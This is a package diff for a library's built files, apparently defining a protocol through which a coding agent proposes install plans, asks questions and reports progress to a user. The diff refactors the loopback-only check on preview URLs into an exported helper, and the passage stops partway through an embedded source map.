+{"version":3,"file":"protocol.d.ts","sourceRoot":"","sources":["../src/protocol.ts"],"names":[],"mappings":"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"}

package/dist/protocol.js

@@ -48,8 +48,10 @@ const parsePreviewUrl = (value) => {
 	}
 	if (url.protocol !== "http:" && url.protocol !== "https:") return void 0;
 	if (url.username !== "" || url.password !== "") return void 0;
-	return LOOPBACK_HOSTS.has(url.hostname) || url.hostname.endsWith(".localhost") ? url : void 0;
+	return isLoopbackHostname(url.hostname) ? url : void 0;
 };
+/** True for a hostname that names this machine. */
+const isLoopbackHostname = (hostname) => LOOPBACK_HOSTS.has(hostname) || hostname.endsWith(".localhost");
 const openInputs = (state) => state.inputs.filter((input) => input.status === "open");
 /** The current plan revision, or `undefined` before the agent proposed one. */
 const currentPlan = (state) => state.plans.at(-1);
@@ -209,6 +211,6 @@ const stepProgress = (state) => ({
 	total: state.steps.length,
 	done: state.steps.filter((step) => step.status === "done" || step.status === "skipped").length
 });
-export { AGENT_HEARTBEAT_MS, AGENT_PRESENCE_MS, OPTION_ICONS, classifyChoiceAnswer, currentPlan, finishProposed, followedUpSinceProposal, initialCheckoutState, isAgentPresent, isClosed, isOptionIcon, isValidEntryPointAnswer, isValidEntryPointInput, isValidModelAnswer, openInputs, parseChoiceAnswer, parseEntryPointOptions, parseModelAnswer, parseMultipleAnswer, parsePreviewUrl, planNeedsReview, stepProgress };
+export { AGENT_HEARTBEAT_MS, AGENT_PRESENCE_MS, OPTION_ICONS, classifyChoiceAnswer, currentPlan, finishProposed, followedUpSinceProposal, initialCheckoutState, isAgentPresent, isClosed, isLoopbackHostname, isOptionIcon, isValidEntryPointAnswer, isValidEntryPointInput, isValidModelAnswer, openInputs, parseChoiceAnswer, parseEntryPointOptions, parseModelAnswer, parseMultipleAnswer, parsePreviewUrl, planNeedsReview, stepProgress };
 
 //# sourceMappingURL=protocol.js.map

package/dist/protocol.js.map

@@ -1 +1 @@
-{"version":3,"file":"protocol.js","names":[],"sources":["../src/protocol.ts"],"sourcesContent":["export namespace Checkout {\n  export type StepStatus =\n    | \"pending\"\n    | \"active\"\n    | \"done\"\n    | \"skipped\"\n    | \"blocked\";\n\n  /** A unit of install work the agent declared; the catalog seeds none. */\n  export type Step = {\n    id: string;\n    title: string;\n    detail?: string;\n    status: StepStatus;\n    note?: string;\n    /** The product this step belongs to, when the agent said. */\n    product?: string;\n    createdAt: number;\n  };\n\n  export type Product = {\n    slug: string;\n    name: string;\n    /** The install reference the agent fetches while planning. */\n    guide?: string;\n  };\n\n  export type InputStatus = \"open\" | \"answered\" | \"dismissed\";\n\n  /**\n   * product: the agent proposes adding a product to this checkout, such as one\n   * another product depends on. The browser owns the catalog, so it answers\n   * with `checkout/add-product`; dismissing the input declines.\n   */\n  export type InputKind =\n    | \"text\"\n    | \"choice\"\n    | \"model\"\n    | \"product\"\n    | \"entry-point\";\n\n  export type EntryPoint = {\n    formFactor: \"modal\" | \"sidebar\" | \"full-page\";\n    placement: string;\n    trigger: string;\n    recommended?: boolean;\n  };\n\n  export type EntryPointOption = {\n    id: string;\n    label: string;\n    description: string;\n    entryPoint: EntryPoint;\n  };\n\n  export type ChoiceVariant = { id: string; label: string };\n\n  export type ChoiceOption = {\n    id: string;\n    label: string;\n    description?: string;\n    /** A name from OPTION_ICONS, or the key of a brand mark on a preset option; unknown keys render without one. */\n    icon?: string;\n    /** A second pick under this option, such as the language of a framework. */\n    variants?: ChoiceVariant[];\n    entryPoint?: EntryPoint;\n  };\n\n  /** A short nudge for users who need help choosing, with a longer guide to link to. */\n  export type InputHelp = { summary: string; href?: string };\n\n  /**\n   * The answer to a model input, stored as JSON text. The API key itself is\n   * never part of it: the browser deposits it with the checkout and the\n   * agent's `env` command writes it straight to a file.\n   */\n  export type ModelAnswer = {\n    provider: string;\n    model: string;\n    reasoningEffort?: \"low\" | \"medium\" | \"high\";\n  };\n\n  /**\n   * A choice answer is an option id, `<option>:<variant>` when the option has\n   * variants, or the user's own text when none of the options fit; a multiple\n   * choice answers a JSON array of those. A model answer is a JSON-encoded\n   * ModelAnswer whose provider is one of the options.\n   */\n  export type Input = {\n    phase: Status;\n    id: string;\n    kind: InputKind;\n    /** The standard input this was built from, when it was. */\n    preset?: string;\n    prompt: string;\n    placeholder?: string;\n    options?: ChoiceOption[];\n    /** The user may pick any number of options; the answer is a JSON array. */\n    multiple?: true;\n    /** The slug a product input proposes. */\n    product?: string;\n    default?: string;\n    help?: InputHelp;\n    redeemKeyHash?: string;\n    optional: boolean;\n    status: InputStatus;\n    answer?: string;\n    /** A remark the user attached to the answer. */\n    note?: string;\n    stepId?: string;\n    createdAt: number;\n    answeredAt?: number;\n  };\n\n  export type LogEntry = {\n    phase: Status;\n    id: string;\n    role: \"agent\" | \"user\";\n    acknowledgedAt?: number;\n    at: number;\n    text: string;\n    /** The step that was active when the line was posted; none while planning. */\n    stepId?: string;\n  };\n\n  export type PlanStatus = \"proposed\" | \"approved\" | \"changes-requested\";\n\n  /** One revision of the agent's plan. Markdown the browser renders. */\n  export type Plan = {\n    revision: number;\n    markdown: string;\n    status: PlanStatus;\n    submittedAt: number;\n    decidedAt?: number;\n    /** What the user asked to change, when they did. */\n    feedback?: string;\n  };\n\n  /**\n   * waiting: no agent has joined. planning: the agent investigates and\n   * proposes a plan. installing: the plan is approved and steps run.\n   */\n  export type Status =\n    | \"waiting\"\n    | \"planning\"\n    | \"installing\"\n    | \"done\"\n    | \"cancelled\";\n\n  /**\n   * The agent's proposal to close the checkout. Only the user closes it, and\n   * they may keep messaging the agent instead; a later `done` renews it.\n   * `preview` is the loopback URL of a dev server the agent left running for\n   * the user to try before they close.\n   */\n  export type Completion = { proposedAt: number; preview?: string };\n\n  export type State = {\n    version: 2;\n    /** The id the browser gave the current checkout; a create with another id replaces it on the same link. */\n    id: string | null;\n    status: Status;\n    completion?: Completion;\n    createdAt: number | null;\n    products: Product[];\n    instructions: string;\n    agent: {\n      lastSeenAt: number | null;\n      /** False once the agent's stream said goodbye; heartbeats set it again. */\n      connected: boolean;\n      cwd: string | null;\n      /** The coding agent that ran the command, as the CLI detected it from its environment. */\n      kind: string | null;\n      /** When the command was first run against this checkout, before the agent joined the stream. */\n      introducedAt: number | null;\n    };\n    /** Every revision in order; the last one is current. */\n    plans: Plan[];\n    steps: Step[];\n    inputs: Input[];\n    log: LogEntry[];\n  };\n\n  export type ProductSeed = { slug: string; name: string; guide?: string };\n\n  export type InputSeed = {\n    kind?: InputKind;\n    preset?: string;\n    prompt: string;\n    placeholder?: string;\n    options?: ChoiceOption[];\n    multiple?: true;\n    product?: string;\n    default?: string;\n    help?: InputHelp;\n    redeemKeyHash?: string;\n    optional?: boolean;\n  };\n\n  export type PlanDecision = {\n    /** The setup the browser reviewed; omitted by legacy clients. */\n    id?: string;\n    /** The plan revision the browser reviewed; omitted by legacy clients. */\n    revision?: number;\n  } & ({ decision: \"approve\" } | { decision: \"revise\"; feedback: string });\n\n  export type Commands = {\n    \"checkout/create\": (params: {\n      id: string;\n      products: ProductSeed[];\n      instructions?: string;\n    }) => void;\n    \"checkout/begin-plan\": () => void;\n    \"checkout/answer\": (params: {\n      inputId: string;\n      answer: string;\n      note?: string;\n    }) => void;\n    \"checkout/add-product\": (params: {\n      inputId: string;\n      product: ProductSeed;\n    }) => void;\n    \"checkout/message\": (params: { text: string }) => void;\n    \"agent/ack\": (params: { messageId: string }) => void;\n    \"checkout/dismiss\": (params: { inputId: string }) => void;\n    \"checkout/plan\": (params: PlanDecision) => void;\n    /** A cancel that names another checkout than the current one is a no-op. */\n    \"checkout/cancel\": (params?: { id?: string }) => void;\n    \"checkout/finish\": () => void;\n    \"agent/intro\": (params: { kind?: string }) => void;\n    \"agent/hello\": (params: { cwd?: string; kind?: string }) => void;\n    \"agent/heartbeat\": () => void;\n    \"agent/bye\": () => void;\n    \"agent/plan\": (params: { markdown: string }) => { revision: number };\n    \"agent/add-step\": (params: {\n      title: string;\n      detail?: string;\n      product?: string;\n      /** Start the step in the same call. */\n      active?: boolean;\n    }) => { stepId: string };\n    \"agent/step\": (params: {\n      stepId: string;\n      status: StepStatus;\n      note?: string;\n    }) => void;\n    \"agent/ask\": (params: InputSeed & { stepId?: string }) => {\n      inputId: string;\n    };\n    \"agent/log\": (params: { text: string }) => void;\n    \"agent/done\": (params?: { summary?: string; preview?: string }) => void;\n  };\n\n  export type RejectionReason =\n    | \"already-created\"\n    | \"not-created\"\n    | \"closed\"\n    | \"planning-not-started\"\n    | \"plan-required\"\n    | \"no-plan\"\n    | \"plan-decided\"\n    | \"stale-plan\"\n    | \"finish-not-proposed\"\n    | \"feedback-required\"\n    | \"empty-plan\"\n    | \"unknown-step\"\n    | \"unknown-product\"\n    | \"unknown-input\"\n    | \"input-closed\"\n    | \"invalid-input\"\n    | \"invalid-answer\"\n    | \"invalid-preview\"\n    | \"empty-message\"\n    | \"unknown-message\";\n}\n\nexport const AGENT_PRESENCE_MS = 15_000;\nexport const AGENT_HEARTBEAT_MS = 5_000;\n\nexport const initialCheckoutState = (): Checkout.State => ({\n  version: 2,\n  id: null,\n  status: \"waiting\",\n  createdAt: null,\n  products: [],\n  instructions: \"\",\n  agent: {\n    lastSeenAt: null,\n    connected: false,\n    cwd: null,\n    kind: null,\n    introducedAt: null,\n  },\n  plans: [],\n  steps: [],\n  inputs: [],\n  log: [],\n});\n\nexport const isAgentPresent = (state: Checkout.State, now = Date.now()) =>\n  state.agent.connected &&\n  state.agent.lastSeenAt !== null &&\n  now - state.agent.lastSeenAt < AGENT_PRESENCE_MS;\n\nexport const isClosed = (state: Checkout.State) =>\n  state.status === \"done\" || state.status === \"cancelled\";\n\n/** True while the agent's proposal to close waits for the user. */\nexport const finishProposed = (state: Checkout.State) =>\n  !isClosed(state) && state.completion !== undefined;\n\n/** True while a message the user sent after the agent proposed to close still waits for the agent. */\nexport const followedUpSinceProposal = (state: Checkout.State) => {\n  const proposedAt = state.completion?.proposedAt;\n  return (\n    proposedAt !== undefined &&\n    state.log.some(\n      (entry) =>\n        entry.role === \"user\" &&\n        entry.at > proposedAt &&\n        entry.acknowledgedAt === undefined,\n    )\n  );\n};\n\nconst LOOPBACK_HOSTS = new Set([\"localhost\", \"127.0.0.1\", \"[::1]\"]);\n\n/**\n * The URL a preview names, or `undefined` unless it is an http(s) URL on this\n * machine's loopback interface. The browser opens it, so nothing else passes.\n */\nexport const parsePreviewUrl = (value: string | undefined) => {\n  if (!value) return undefined;\n  let url: URL;\n  try {\n    url = new URL(value);\n  } catch {\n    return undefined;\n  }\n  if (url.protocol !== \"http:\" && url.protocol !== \"https:\") return undefined;\n  if (url.username !== \"\" || url.password !== \"\") return undefined;\n  const loopback =\n    LOOPBACK_HOSTS.has(url.hostname) || url.hostname.endsWith(\".localhost\");\n  return loopback ? url : undefined;\n};\n\nexport const openInputs = (state: Checkout.State) =>\n  state.inputs.filter((input) => input.status === \"open\");\n\n/** The current plan revision, or `undefined` before the agent proposed one. */\nexport const currentPlan = (state: Checkout.State): Checkout.Plan | undefined =>\n  state.plans.at(-1);\n\n/** True while a proposed plan waits for the user's decision. */\nexport const planNeedsReview = (state: Checkout.State) =>\n  !isClosed(state) && currentPlan(state)?.status === \"proposed\";\n\n/** The icons an agent can put on its own options, by name. */\nexport const OPTION_ICONS = [\n  \"code\",\n  \"terminal\",\n  \"braces\",\n  \"git-branch\",\n  \"package\",\n  \"database\",\n  \"server\",\n  \"cloud\",\n  \"globe\",\n  \"monitor\",\n  \"smartphone\",\n  \"key\",\n  \"lock\",\n  \"shield\",\n  \"brain\",\n  \"sparkles\",\n  \"bot\",\n  \"workflow\",\n  \"file\",\n  \"folder\",\n  \"book\",\n  \"table\",\n  \"image\",\n  \"video\",\n  \"mic\",\n  \"speech\",\n  \"paperclip\",\n  \"message\",\n  \"mail\",\n  \"bell\",\n  \"calendar\",\n  \"clock\",\n  \"user\",\n  \"users\",\n  \"settings\",\n  \"wrench\",\n  \"plug\",\n  \"link\",\n  \"palette\",\n  \"search\",\n  \"zap\",\n  \"check\",\n  \"question\",\n] as const;\n\nexport type OptionIcon = (typeof OPTION_ICONS)[number];\n\nexport const isOptionIcon = (value: string): value is OptionIcon =>\n  (OPTION_ICONS as readonly string[]).includes(value);\n\nexport const parseChoiceAnswer = (answer: string) => {\n  const parts = answer.split(\":\");\n  if (parts.length > 2) return { option: answer };\n  const [option = \"\", variant] = parts;\n  return { option, ...(variant !== undefined && { variant }) };\n};\n\n/** The entries of a multiple choice answer, or `undefined` when the text is not a JSON array of strings. */\nexport const parseMultipleAnswer = (answer: string): string[] | undefined => {\n  let value: unknown;\n  try {\n    value = JSON.parse(answer);\n  } catch {\n    return undefined;\n  }\n  return Array.isArray(value) &&\n    value.every((entry) => typeof entry === \"string\")\n    ? value\n    : undefined;\n};\n\ntype ChoiceAnswerKind = \"option\" | \"custom\" | \"invalid\";\n\nconst classifyChoiceEntry = (\n  input: Checkout.Input,\n  answer: string,\n): ChoiceAnswerKind => {\n  const { option, variant } = parseChoiceAnswer(answer);\n  const match = input.options?.find((candidate) => candidate.id === option);\n  if (!match) return answer.trim() === \"\" ? \"invalid\" : \"custom\";\n  if (!match.variants || match.variants.length === 0) {\n    return variant === undefined ? \"option\" : \"invalid\";\n  }\n  return match.variants.some((candidate) => candidate.id === variant)\n    ? \"option\"\n    : \"invalid\";\n};\n\n/**\n * \"option\" when `answer` names one of the input's options (with a variant\n * when the option has them), \"custom\" for the user's own text, \"invalid\"\n * for an option named without its variant or with an unknown one. A\n * multiple choice is classified entry by entry: \"invalid\" when any entry is\n * or the array is empty, \"custom\" when any entry is the user's own text.\n */\nexport const classifyChoiceAnswer = (\n  input: Checkout.Input,\n  answer: string,\n): ChoiceAnswerKind => {\n  if (!input.multiple) return classifyChoiceEntry(input, answer);\n  const entries = parseMultipleAnswer(answer);\n  if (!entries || entries.length === 0) return \"invalid\";\n  const kinds = entries.map((entry) => classifyChoiceEntry(input, entry));\n  if (kinds.includes(\"invalid\")) return \"invalid\";\n  return kinds.includes(\"custom\") ? \"custom\" : \"option\";\n};\n\nconst isEntryPointText = (value: unknown, max: number): value is string =>\n  typeof value === \"string\" && value.trim() !== \"\" && value.length <= max;\n\nexport const parseEntryPointOptions = (\n  value: unknown,\n): Checkout.EntryPointOption[] | undefined => {\n  if (!Array.isArray(value) || value.length < 1 || value.length > 3)\n    return undefined;\n  const options: 